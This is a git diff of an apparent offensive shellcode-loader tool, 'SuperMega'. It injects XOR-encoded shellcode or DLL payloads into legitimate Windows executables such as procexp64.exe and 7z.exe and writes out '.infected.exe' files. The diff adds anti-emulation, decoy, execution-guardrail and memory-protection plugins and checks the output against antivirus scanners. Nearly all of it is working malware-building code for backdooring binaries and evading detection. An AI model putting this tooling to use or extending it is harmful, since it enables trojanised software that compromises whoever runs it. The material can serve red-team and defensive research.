logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
|
||||||
datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address
|
ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address
|
||||||
))
|
))
|
||||||
lea = assemble_lea(
|
lea = assemble_lea(
|
||||||
instruction_virtual_address, destination_virtual_address, datareuse_fixup.register
|
instruction_virtual_address, destination_virtual_address, ref.register
|
||||||
)
|
)
|
||||||
asm_disasm(lea, instruction_virtual_address) # DEBUG
|
asm_disasm(lea, instruction_virtual_address) # DEBUG
|
||||||
if len(lea) != len(datareuse_fixup.randbytes):
|
if len(lea) != len(ref.placeholder):
|
||||||
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
|
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
|
||||||
code = code.replace(datareuse_fixup.randbytes, lea)
|
len(lea), len(ref.placeholder)
|
||||||
|
))
|
||||||
|
code = code.replace(ref.placeholder, lea)
|
||||||
|
|
||||||
superpe.write_code_section_data(code)
|
self.superpe.write_code_section_data(code)
|
||||||
|
|
||||||
|
|
||||||
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
|
def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
|
||||||
@@ -251,5 +292,3 @@ def verify_injected_exe(exefile: FilePath, dllfunc="") -> int:
|
|||||||
else:
|
else:
|
||||||
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
|
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
|
||||||
return 1
|
return 1
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+3
-3
@@ -100,7 +100,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
|
|||||||
g_is32bit = True
|
g_is32bit = True
|
||||||
|
|
||||||
if tokens[0] == "EXTRN":
|
if tokens[0] == "EXTRN":
|
||||||
print(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
|
raise Exception(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}")
|
||||||
|
|
||||||
in_skipped = False
|
in_skipped = False
|
||||||
in_const = False
|
in_const = False
|
||||||
@@ -127,7 +127,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
|
|||||||
logger.debug("[INFO] Entry Point: AlignRSP")
|
logger.debug("[INFO] Entry Point: AlignRSP")
|
||||||
|
|
||||||
if seg_name == "_BSS":
|
if seg_name == "_BSS":
|
||||||
logger.error(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
|
raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n")
|
||||||
|
|
||||||
if seg_name in ("pdata", "xdata", "voltbl"):
|
if seg_name in ("pdata", "xdata", "voltbl"):
|
||||||
in_skipped = True
|
in_skipped = True
|
||||||
@@ -145,7 +145,7 @@ def masm_shc(asm_text_lines: List[str]) -> str:
|
|||||||
if tokens[1] in ("LIBCMT", "OLDNAMES"):
|
if tokens[1] in ("LIBCMT", "OLDNAMES"):
|
||||||
ofile.write(f"; {line}\n") # copy commented out line
|
ofile.write(f"; {line}\n") # copy commented out line
|
||||||
continue
|
continue
|
||||||
print(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
|
raise Exception(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n")
|
||||||
|
|
||||||
if params.inline_strings and in_const:
|
if params.inline_strings and in_const:
|
||||||
if tokens[1] == "DB":
|
if tokens[1] == "DB":
|
||||||
|
|||||||
+43
-5
@@ -23,12 +23,31 @@ def get_template_names() -> List[str]:
|
|||||||
|
|
||||||
|
|
||||||
def create_c_from_template(settings: Settings, payload_len: int):
|
def create_c_from_template(settings: Settings, payload_len: int):
|
||||||
logger.info("--( Create C from template: {} -> {}".format(
|
logger.info("-( Create C from template: {} -> {}".format(
|
||||||
PATH_DECODER, settings.main_c_path))
|
PATH_DECODER, settings.main_c_path))
|
||||||
plugin_decoder = ""
|
plugin_decoder = ""
|
||||||
|
|
||||||
# Decoder
|
# Plugin: VirtualAlloc
|
||||||
filepath_decoder = PATH_DECODER + "{}.c".format(settings.decoder_style.value)
|
filepath_virtualprotect = PATH_VIRTUALPROTECT + "{}.c".format(
|
||||||
|
settings.plugin_virtualprotect)
|
||||||
|
with open(filepath_virtualprotect, "r", encoding='utf-8') as file:
|
||||||
|
plugin_virtualprotect = file.read()
|
||||||
|
plugin_virtualprotect = Template(plugin_virtualprotect).render({
|
||||||
|
'virtualprotect_data': settings.plugin_virtualprotect_data,
|
||||||
|
})
|
||||||
|
|
||||||
|
# Plugin: Execution Guardrails
|
||||||
|
filepath_guardrails = PATH_GUARDRAILS + "{}.c".format(
|
||||||
|
settings.plugin_guardrail)
|
||||||
|
with open(filepath_guardrails, "r", encoding='utf-8') as file:
|
||||||
|
plugin_guardrails = file.read()
|
||||||
|
plugin_guardrails = Template(plugin_guardrails).render({
|
||||||
|
'guardrail_data': settings.plugin_guardrail_data,
|
||||||
|
})
|
||||||
|
|
||||||
|
# Plugin: Decoder
|
||||||
|
filepath_decoder = PATH_DECODER + "{}.c".format(
|
||||||
|
settings.decoder_style)
|
||||||
with open(filepath_decoder, "r", encoding='utf-8') as file:
|
with open(filepath_decoder, "r", encoding='utf-8') as file:
|
||||||
plugin_decoder = file.read()
|
plugin_decoder = file.read()
|
||||||
plugin_decoder = Template(plugin_decoder).render({
|
plugin_decoder = Template(plugin_decoder).render({
|
||||||
@@ -37,16 +56,35 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
|||||||
'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2),
|
'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2),
|
||||||
})
|
})
|
||||||
|
|
||||||
# Choose correct template
|
# Plugin: Anti-Emulation
|
||||||
|
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
|
||||||
|
settings.plugin_antiemulation)
|
||||||
|
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
|
||||||
|
plugin_antiemualation = file.read()
|
||||||
|
plugin_antiemualation = Template(plugin_antiemualation).render({
|
||||||
|
'PAYLOAD_LEN': payload_len,
|
||||||
|
})
|
||||||
|
|
||||||
|
# Plugin: Decoy
|
||||||
|
filepath_decoy = PATH_DECOY + "{}.c".format(
|
||||||
|
settings.plugin_decoy)
|
||||||
|
with open(filepath_decoy, "r", encoding='utf-8') as file:
|
||||||
|
plugin_decoy = file.read()
|
||||||
|
|
||||||
|
# Choose template
|
||||||
dirpath = PATH_CARRIER + settings.carrier_name + "/template.c"
|
dirpath = PATH_CARRIER + settings.carrier_name + "/template.c"
|
||||||
with open(dirpath, 'r', encoding='utf-8') as file:
|
with open(dirpath, 'r', encoding='utf-8') as file:
|
||||||
template_content = file.read()
|
template_content = file.read()
|
||||||
observer.add_text_file("main_c_template", template_content)
|
observer.add_text_file("main_c_template", template_content)
|
||||||
|
# Render template
|
||||||
template = Template(template_content)
|
template = Template(template_content)
|
||||||
rendered_template = template.render({
|
rendered_template = template.render({
|
||||||
'plugin_decoder': plugin_decoder,
|
'plugin_decoder': plugin_decoder,
|
||||||
|
'plugin_antiemulation': plugin_antiemualation,
|
||||||
|
'plugin_decoy': plugin_decoy,
|
||||||
|
'plugin_executionguardrail': plugin_guardrails,
|
||||||
'PAYLOAD_LEN': payload_len,
|
'PAYLOAD_LEN': payload_len,
|
||||||
|
'plugin_virtualprotect': plugin_virtualprotect,
|
||||||
})
|
})
|
||||||
with open(settings.main_c_path, "w", encoding='utf-8') as file:
|
with open(settings.main_c_path, "w", encoding='utf-8') as file:
|
||||||
file.write(rendered_template)
|
file.write(rendered_template)
|
||||||
|
|||||||
@@ -1,44 +0,0 @@
|
|||||||
import sys
|
|
||||||
|
|
||||||
from model.defs import *
|
|
||||||
from pe.superpe import SuperPe
|
|
||||||
|
|
||||||
|
|
||||||
def main(filename: str, current_base: int):
|
|
||||||
print("Handling: {}".format(filename))
|
|
||||||
superpe = SuperPe(filename)
|
|
||||||
|
|
||||||
r = {}
|
|
||||||
relocation: PeRelocEntry
|
|
||||||
for relocation in superpe.get_base_relocs():
|
|
||||||
if relocation.base_rva in r:
|
|
||||||
r[relocation.base_rva] += 1
|
|
||||||
else:
|
|
||||||
r[relocation.base_rva] = 1
|
|
||||||
|
|
||||||
#print("Base: 0x{:X} RVA: 0x{:X} Offset: {} Type: {}".format(
|
|
||||||
# relocation.base_rva,
|
|
||||||
# relocation.rva,
|
|
||||||
# relocation.offset,
|
|
||||||
# relocation.type,
|
|
||||||
#))
|
|
||||||
|
|
||||||
sum = 0
|
|
||||||
for base, count in r.items():
|
|
||||||
print("0x{:X}: {}".format(base, count))
|
|
||||||
sum += count
|
|
||||||
print("Sum: {}".format(sum))
|
|
||||||
|
|
||||||
print("Image Base : 0x{:X}".format(superpe.get_image_base()))
|
|
||||||
print("Current Base: 0x{:X}".format(current_base))
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
if len(sys.argv) != 3:
|
|
||||||
print("./relokator <filename> <base>")
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
filename = sys.argv[1]
|
|
||||||
current_base = int(sys.argv[2], 16)
|
|
||||||
main(filename, current_base)
|
|
||||||
|
|
||||||
+40
-47
@@ -1,4 +1,3 @@
|
|||||||
import shutil
|
|
||||||
import argparse
|
import argparse
|
||||||
from typing import Dict
|
from typing import Dict
|
||||||
import os
|
import os
|
||||||
@@ -12,19 +11,21 @@ import phases.compiler
|
|||||||
import phases.assembler
|
import phases.assembler
|
||||||
import phases.injector
|
import phases.injector
|
||||||
from observer import observer
|
from observer import observer
|
||||||
from pe.pehelper import extract_code_from_exe_file_ep
|
from pe.pehelper import preload_dll
|
||||||
from sender import scannerDetectsBytes
|
from sender import scannerDetectsBytes
|
||||||
from model.project import Project, prepare_project
|
from model.project import Project, prepare_project
|
||||||
from model.settings import Settings
|
from model.settings import Settings
|
||||||
from model.defs import *
|
from model.defs import *
|
||||||
from log import setup_logging
|
from log import setup_logging
|
||||||
from model.carrier import Carrier, DataReuseEntry, IatRequest
|
from model.injectable import DataReuseEntry
|
||||||
|
from utils import check_deps
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
"""Argument parsing for when called from command line"""
|
"""Argument parsing for when called from command line"""
|
||||||
logger.info("Super Mega")
|
logger.info("Super Mega")
|
||||||
config.load()
|
config.load()
|
||||||
|
check_deps()
|
||||||
settings = Settings()
|
settings = Settings()
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
|
parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
|
||||||
@@ -55,12 +56,7 @@ def main():
|
|||||||
if args.carrier:
|
if args.carrier:
|
||||||
settings.carrier_name = args.carrier
|
settings.carrier_name = args.carrier
|
||||||
if args.decoder:
|
if args.decoder:
|
||||||
if args.decoder == "plain_1":
|
settings.decoder_style = args.decoder
|
||||||
settings.decoder_style = DecoderStyle.PLAIN_1
|
|
||||||
elif args.decoder == "xor_1":
|
|
||||||
settings.decoder_style = DecoderStyle.XOR_1
|
|
||||||
elif args.decoder == "xor_2":
|
|
||||||
settings.decoder_style = DecoderStyle.XOR_2
|
|
||||||
if args.inject:
|
if args.inject:
|
||||||
if args.carrier_invoke == "eop":
|
if args.carrier_invoke == "eop":
|
||||||
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||||
@@ -84,6 +80,10 @@ def main():
|
|||||||
logger.info("Could not find: {}".format(args.inject))
|
logger.info("Could not find: {}".format(args.inject))
|
||||||
return
|
return
|
||||||
settings.inject_exe_in = args.inject
|
settings.inject_exe_in = args.inject
|
||||||
|
settings.inject_exe_out = "{}{}".format(
|
||||||
|
settings.main_dir,
|
||||||
|
os.path.basename(args.inject).replace(".exe", ".injected.exe")
|
||||||
|
)
|
||||||
settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll")
|
settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll")
|
||||||
|
|
||||||
write_webproject("default", settings)
|
write_webproject("default", settings)
|
||||||
@@ -109,7 +109,7 @@ def start(settings: Settings) -> int:
|
|||||||
prepare_project(settings.project_name, settings)
|
prepare_project(settings.project_name, settings)
|
||||||
|
|
||||||
# Do the thing and catch the errors
|
# Do the thing and catch the errors
|
||||||
if False:
|
if True:
|
||||||
start_real(settings)
|
start_real(settings)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
@@ -137,24 +137,35 @@ def start_real(settings: Settings):
|
|||||||
project.init()
|
project.init()
|
||||||
|
|
||||||
# CHECK if 64 bit
|
# CHECK if 64 bit
|
||||||
if not project.carrier.superpe.is_64():
|
if not project.injectable.superpe.is_64():
|
||||||
raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in))
|
raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in))
|
||||||
|
|
||||||
logger.info("--[ Config: {} {} {} {}".format(
|
logger.info("--[ Config: {} {} {} {}".format(
|
||||||
project.settings.carrier_name,
|
project.settings.carrier_name,
|
||||||
settings.payload_location.value,
|
settings.payload_location.value,
|
||||||
project.settings.decoder_style.value,
|
project.settings.decoder_style,
|
||||||
project.settings.carrier_invoke_style.value))
|
project.settings.carrier_invoke_style.value))
|
||||||
|
|
||||||
# CREATE: Carrier C source files from template (C->C)
|
logger.info("--[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format(
|
||||||
phases.templater.create_c_from_template(settings, project.payload.len)
|
project.settings.plugin_antiemulation,
|
||||||
|
project.settings.plugin_decoy,
|
||||||
|
project.settings.plugin_guardrail)
|
||||||
|
)
|
||||||
|
|
||||||
|
# FIXUP DLL Payload
|
||||||
|
# Prepare DLL payload for usage in dll_loader_change
|
||||||
|
# This needs to be done before rendering the C templates, as need
|
||||||
|
# the real size of the payload
|
||||||
|
if project.settings.carrier_name == "dll_loader_change":
|
||||||
|
project.payload.payload_data = preload_dll(project.payload.payload_path)
|
||||||
|
|
||||||
|
# CREATE: Carrier C source files from template (C->C)
|
||||||
|
phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
|
||||||
|
|
||||||
# If we put the payload into .rdata
|
|
||||||
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
|
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
|
||||||
if settings.payload_location == PayloadLocation.DATA:
|
# So the carrier is able to find the payload
|
||||||
logger.info("--[ Load payload for use in .rdata injection")
|
project.injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True))
|
||||||
project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
entry = project.injectable.get_reusedata_fixup("supermega_payload")
|
||||||
entry = project.carrier.get_reusedata_fixup("supermega_payload")
|
|
||||||
entry.data = phases.assembler.encode_payload(
|
entry.data = phases.assembler.encode_payload(
|
||||||
project.payload.payload_data, settings.decoder_style) # encrypt
|
project.payload.payload_data, settings.decoder_style) # encrypt
|
||||||
observer.add_code_file("payload", project.payload.payload_data)
|
observer.add_code_file("payload", project.payload.payload_data)
|
||||||
@@ -164,16 +175,13 @@ def start_real(settings: Settings):
|
|||||||
phases.compiler.compile(
|
phases.compiler.compile(
|
||||||
c_in = settings.main_c_path,
|
c_in = settings.main_c_path,
|
||||||
asm_out = settings.main_asm_path,
|
asm_out = settings.main_asm_path,
|
||||||
carrier = project.carrier,
|
injectable = project.injectable,
|
||||||
settings = project.settings)
|
settings = project.settings)
|
||||||
|
|
||||||
# we have the carrier-required IAT entries in carrier.iat_requests
|
# we have the carrier-required IAT entries in carrier.iat_requests
|
||||||
# CHECK if all are available in infectable, or abort (early check)
|
# CHECK if all are available in infectable, or abort (early check)
|
||||||
functions = project.carrier.get_unresolved_iat()
|
functions = project.injectable.get_unresolved_iat()
|
||||||
if len(functions) != 0:
|
if len(functions) != 0 and settings.fix_missing_iat == False:
|
||||||
if settings.fix_missing_iat:
|
|
||||||
logger.info("--[ Fixing missing IAT entries: {}".format(", ".join(functions)))
|
|
||||||
else:
|
|
||||||
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
|
raise Exception("IAT entry not found: {}".format(", ".join(functions)))
|
||||||
|
|
||||||
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
|
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
|
||||||
@@ -183,29 +191,14 @@ def start_real(settings: Settings):
|
|||||||
build_exe = settings.main_exe_path)
|
build_exe = settings.main_exe_path)
|
||||||
observer.add_code_file("carrier_shc", carrier_shellcode)
|
observer.add_code_file("carrier_shc", carrier_shellcode)
|
||||||
|
|
||||||
# MERGE: shellcode/loader with payload (SHC + PAYLOAD -> SHC)
|
# INJECT loader into an exe and do IAT & data references. Big task.
|
||||||
if settings.payload_location == PayloadLocation.CODE:
|
injector = phases.injector.Injector(
|
||||||
logger.info("--[ Merge carrier with payload for .text injection".format())
|
carrier_shellcode,
|
||||||
full_shellcode = phases.assembler.merge_loader_payload(
|
project.payload,
|
||||||
shellcode_in = carrier_shellcode,
|
project.injectable,
|
||||||
payload_data = project.payload.payload_data,
|
settings)
|
||||||
decoder_style = settings.decoder_style)
|
|
||||||
#observer.add_code_file("full_shc", full_shellcode)
|
|
||||||
else:
|
|
||||||
# shellcode is in .rdata, so we dont need to merge
|
|
||||||
full_shellcode = carrier_shellcode
|
|
||||||
|
|
||||||
# RWX Injection (optional): obfuscate loader+payload
|
injector.inject_exe()
|
||||||
#if project.exe_host.rwx_section != None:
|
|
||||||
# logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
|
|
||||||
# project.exe_host.rwx_section.Name.decode().rstrip('\x00')
|
|
||||||
# ))
|
|
||||||
# obfuscate_shc_loader(settings.main_shc_path, settings.main_shc_path + ".sgn")
|
|
||||||
# observer.add_code_file("payload_sgn", file_readall_binary(settings.main_shc_path + ".sgn"))
|
|
||||||
# shutil.move(settings.main_shc_path + ".sgn", settings.main_shc_path)
|
|
||||||
|
|
||||||
# inject (merged) loader into an exe. Big task.
|
|
||||||
phases.injector.inject_exe(full_shellcode, settings, project.carrier)
|
|
||||||
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
|
#observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300))
|
||||||
|
|
||||||
# Check binary with avred
|
# Check binary with avred
|
||||||
|
|||||||
@@ -11,15 +11,45 @@ from model.project import prepare_project
|
|||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
logger.info("Super Mega Tester")
|
logger.info("Super Mega Tester: " + os.path.dirname(VerifyFilename))
|
||||||
config.load()
|
config.load()
|
||||||
|
|
||||||
|
if not os.path.exists(os.path.dirname(VerifyFilename)):
|
||||||
|
print("{} directory does not exist".format(os.path.dirname(VerifyFilename)))
|
||||||
|
return
|
||||||
|
|
||||||
|
test_dll_loader()
|
||||||
test_exe_code()
|
test_exe_code()
|
||||||
test_exe_data()
|
test_exe_data()
|
||||||
test_dll_code()
|
test_dll_code()
|
||||||
test_dll_data()
|
test_dll_data()
|
||||||
|
|
||||||
|
|
||||||
|
def test_dll_loader():
|
||||||
|
print("Testing: DLL Loader")
|
||||||
|
settings = Settings("unittest")
|
||||||
|
settings.payload_path = PATH_SHELLCODES + "createfile.dll"
|
||||||
|
settings.verify = True
|
||||||
|
settings.try_start_final_infected_exe = False
|
||||||
|
settings.payload_location = PayloadLocation.CODE
|
||||||
|
|
||||||
|
print("Test DLL Loader 1/2: procexp, backdoor main, dll loader alloc")
|
||||||
|
settings.carrier_name = "dll_loader_alloc"
|
||||||
|
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||||
|
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
|
||||||
|
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
|
||||||
|
if start(settings) != 0:
|
||||||
|
print("Error")
|
||||||
|
|
||||||
|
print("Test DLL Loader 2/2: procexp, backdoor main, dll loader change")
|
||||||
|
settings.carrier_name = "dll_loader_change"
|
||||||
|
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
|
||||||
|
settings.inject_exe_in = PATH_EXES + "procexp64.exe"
|
||||||
|
settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe"
|
||||||
|
if start(settings) != 0:
|
||||||
|
print("Error")
|
||||||
|
|
||||||
|
|
||||||
def test_exe_code():
|
def test_exe_code():
|
||||||
print("Testing: EXEs: Inject payload into .text")
|
print("Testing: EXEs: Inject payload into .text")
|
||||||
settings = Settings("unittest")
|
settings = Settings("unittest")
|
||||||
@@ -220,6 +250,6 @@ def dll_iat_reuse():
|
|||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
#setup_logging(level=logging.INFO)
|
setup_logging(level=logging.INFO)
|
||||||
setup_logging(level=logging.WARNING)
|
#setup_logging(level=logging.WARNING)
|
||||||
main()
|
main()
|
||||||
|
|||||||
+21
-25
@@ -3,7 +3,7 @@ import unittest
|
|||||||
import logging
|
import logging
|
||||||
|
|
||||||
from model.defs import *
|
from model.defs import *
|
||||||
from model.carrier import Carrier, DataReuseEntry
|
from model.injectable import Injectable, DataReuseEntry
|
||||||
from observer import observer
|
from observer import observer
|
||||||
from helper import *
|
from helper import *
|
||||||
from phases.asmtextparser import parse_asm_text_file
|
from phases.asmtextparser import parse_asm_text_file
|
||||||
@@ -25,11 +25,11 @@ class AsmTest(unittest.TestCase):
|
|||||||
def test_asm_fixup(self):
|
def test_asm_fixup(self):
|
||||||
asm_in: FilePath = "tests/data/peb_walk_pre_fixup.asm"
|
asm_in: FilePath = "tests/data/peb_walk_pre_fixup.asm"
|
||||||
asm_text = file_readall_text(asm_in)
|
asm_text = file_readall_text(asm_in)
|
||||||
carrier = Carrier("fake.exe")
|
injectable = Injectable("fake.exe")
|
||||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||||
settings: Settings = Settings()
|
settings: Settings = Settings()
|
||||||
settings.payload_location = PayloadLocation.DATA
|
settings.payload_location = PayloadLocation.DATA
|
||||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||||
|
|
||||||
# cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H
|
# cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H
|
||||||
# cmp DWORD PTR n$1[rsp], 272 ; 00ab4130H
|
# cmp DWORD PTR n$1[rsp], 272 ; 00ab4130H
|
||||||
@@ -42,30 +42,26 @@ class AsmTest(unittest.TestCase):
|
|||||||
# lea r8, [shcstart]
|
# lea r8, [shcstart]
|
||||||
#self.assertTrue("lea r8, [shcstart]" in asm_text_lines[198-1-1])
|
#self.assertTrue("lea r8, [shcstart]" in asm_text_lines[198-1-1])
|
||||||
self.assertTrue("DB 0" in asm_text_lines[198-1-1])
|
self.assertTrue("DB 0" in asm_text_lines[198-1-1])
|
||||||
self.assertTrue("supermega_payload" not in asm_text_lines[198-1-1])
|
|
||||||
|
|
||||||
# shcstart:
|
|
||||||
self.assertTrue("shcstart:" in asm_text_lines[213-1-1])
|
|
||||||
|
|
||||||
|
|
||||||
def test_asm_iat_request(self):
|
def test_asm_iat_request(self):
|
||||||
asm_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm"
|
asm_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm"
|
||||||
asm_text = file_readall_text(asm_in)
|
asm_text = file_readall_text(asm_in)
|
||||||
carrier = Carrier("fake.exe")
|
injectable = Injectable("fake.exe")
|
||||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||||
settings: Settings = Settings()
|
settings: Settings = Settings()
|
||||||
settings.payload_location = PayloadLocation.DATA
|
settings.payload_location = PayloadLocation.DATA
|
||||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||||
|
|
||||||
self.assertEqual(len(carrier.iat_requests), 2)
|
self.assertEqual(len(injectable.iat_requests), 2)
|
||||||
|
|
||||||
req1 = carrier.iat_requests[0]
|
req1 = injectable.iat_requests[0]
|
||||||
self.assertEqual(req1.name, "GetEnvironmentVariableW")
|
self.assertEqual(req1.name, "GetEnvironmentVariableW")
|
||||||
self.assertTrue(len(req1.placeholder), 6) # 6 random bytes
|
self.assertTrue(len(req1.references[0]), 6) # 6 random bytes
|
||||||
|
|
||||||
req2 = carrier.iat_requests[1]
|
req2 = injectable.iat_requests[1]
|
||||||
self.assertEqual(req2.name, "VirtualAlloc")
|
self.assertEqual(req2.name, "VirtualAlloc")
|
||||||
self.assertTrue(len(req2.placeholder), 6) # 6 random bytes
|
self.assertTrue(len(req2.references[0]), 6) # 6 random bytes
|
||||||
|
|
||||||
# added ; at the beginning
|
# added ; at the beginning
|
||||||
#self.assertTrue(lines[13-1].startswith("; EXTRN __imp_GetEnvironmentVariableW:PROC"))
|
#self.assertTrue(lines[13-1].startswith("; EXTRN __imp_GetEnvironmentVariableW:PROC"))
|
||||||
@@ -83,22 +79,22 @@ class AsmTest(unittest.TestCase):
|
|||||||
def test_data_reuse_entries(self):
|
def test_data_reuse_entries(self):
|
||||||
asm_in = "tests/data/data_reuse_pre_fixup.asm"
|
asm_in = "tests/data/data_reuse_pre_fixup.asm"
|
||||||
asm_text = file_readall_text(asm_in)
|
asm_text = file_readall_text(asm_in)
|
||||||
carrier = Carrier("fake.exe")
|
injectable = Injectable("fake.exe")
|
||||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||||
settings: Settings = Settings()
|
settings: Settings = Settings()
|
||||||
settings.payload_location = PayloadLocation.DATA
|
settings.payload_location = PayloadLocation.DATA
|
||||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||||
asm_text = masm_shc(asm_text_lines) # optional here
|
asm_text = masm_shc(asm_text_lines) # optional here
|
||||||
|
|
||||||
data_reuse_entries = carrier.get_all_reusedata_fixups()
|
data_reuse_entries = injectable.get_all_reusedata_fixups()
|
||||||
self.assertEqual(2+1, len(data_reuse_entries))
|
self.assertEqual(2+1, len(data_reuse_entries))
|
||||||
|
|
||||||
entry = data_reuse_entries[0+1]
|
entry = data_reuse_entries[0+1]
|
||||||
self.assertTrue('$SG72513' in entry.string_ref)
|
self.assertTrue('$SG72513' in entry.string_ref)
|
||||||
self.assertTrue('rcx' in entry.register)
|
self.assertTrue('rcx' in entry.references[0].register)
|
||||||
self.assertEqual(entry.data, b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00")
|
self.assertEqual(entry.data, b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00")
|
||||||
self.assertEqual(entry.addr, 0)
|
self.assertEqual(entry.addr, 0)
|
||||||
self.assertEqual(7, len(entry.randbytes)) # needs to be 7!
|
self.assertEqual(7, len(entry.references[0].placeholder)) # needs to be 7!
|
||||||
|
|
||||||
entry = data_reuse_entries[1+1]
|
entry = data_reuse_entries[1+1]
|
||||||
self.assertTrue('$SG72514' in entry.string_ref)
|
self.assertTrue('$SG72514' in entry.string_ref)
|
||||||
@@ -108,11 +104,11 @@ class AsmTest(unittest.TestCase):
|
|||||||
asm_in = "tests/data/data_reuse_pre_fixup.asm"
|
asm_in = "tests/data/data_reuse_pre_fixup.asm"
|
||||||
asm_text = file_readall_text(asm_in)
|
asm_text = file_readall_text(asm_in)
|
||||||
|
|
||||||
carrier = Carrier("fake.exe")
|
injectable = Injectable("fake.exe")
|
||||||
carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
|
||||||
settings: Settings = Settings()
|
settings: Settings = Settings()
|
||||||
settings.payload_location = PayloadLocation.DATA
|
settings.payload_location = PayloadLocation.DATA
|
||||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
|
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
|
||||||
|
|
||||||
# why -1 -1??
|
# why -1 -1??
|
||||||
self.assertTrue("\tDB " in asm_text_lines[108-1-1])
|
self.assertTrue("\tDB " in asm_text_lines[108-1-1])
|
||||||
|
|||||||
@@ -38,7 +38,7 @@ class DataReuseTest(unittest.TestCase):
|
|||||||
def test_relocation_list(self):
|
def test_relocation_list(self):
|
||||||
superpe = SuperPe(PATH_EXES + "7z.exe")
|
superpe = SuperPe(PATH_EXES + "7z.exe")
|
||||||
relocs = superpe.get_relocations_for_section(".rdata")
|
relocs = superpe.get_relocations_for_section(".rdata")
|
||||||
self.assertEqual(842, len(relocs))
|
self.assertEqual(836, len(relocs))
|
||||||
reloc = relocs[0]
|
reloc = relocs[0]
|
||||||
self.assertEqual(393216, reloc.base_rva)
|
self.assertEqual(393216, reloc.base_rva)
|
||||||
self.assertEqual(394296, reloc.rva)
|
self.assertEqual(394296, reloc.rva)
|
||||||
@@ -49,19 +49,19 @@ class DataReuseTest(unittest.TestCase):
|
|||||||
def test_relocmanager(self):
|
def test_relocmanager(self):
|
||||||
"""Test reference EXE reloc manager information"""
|
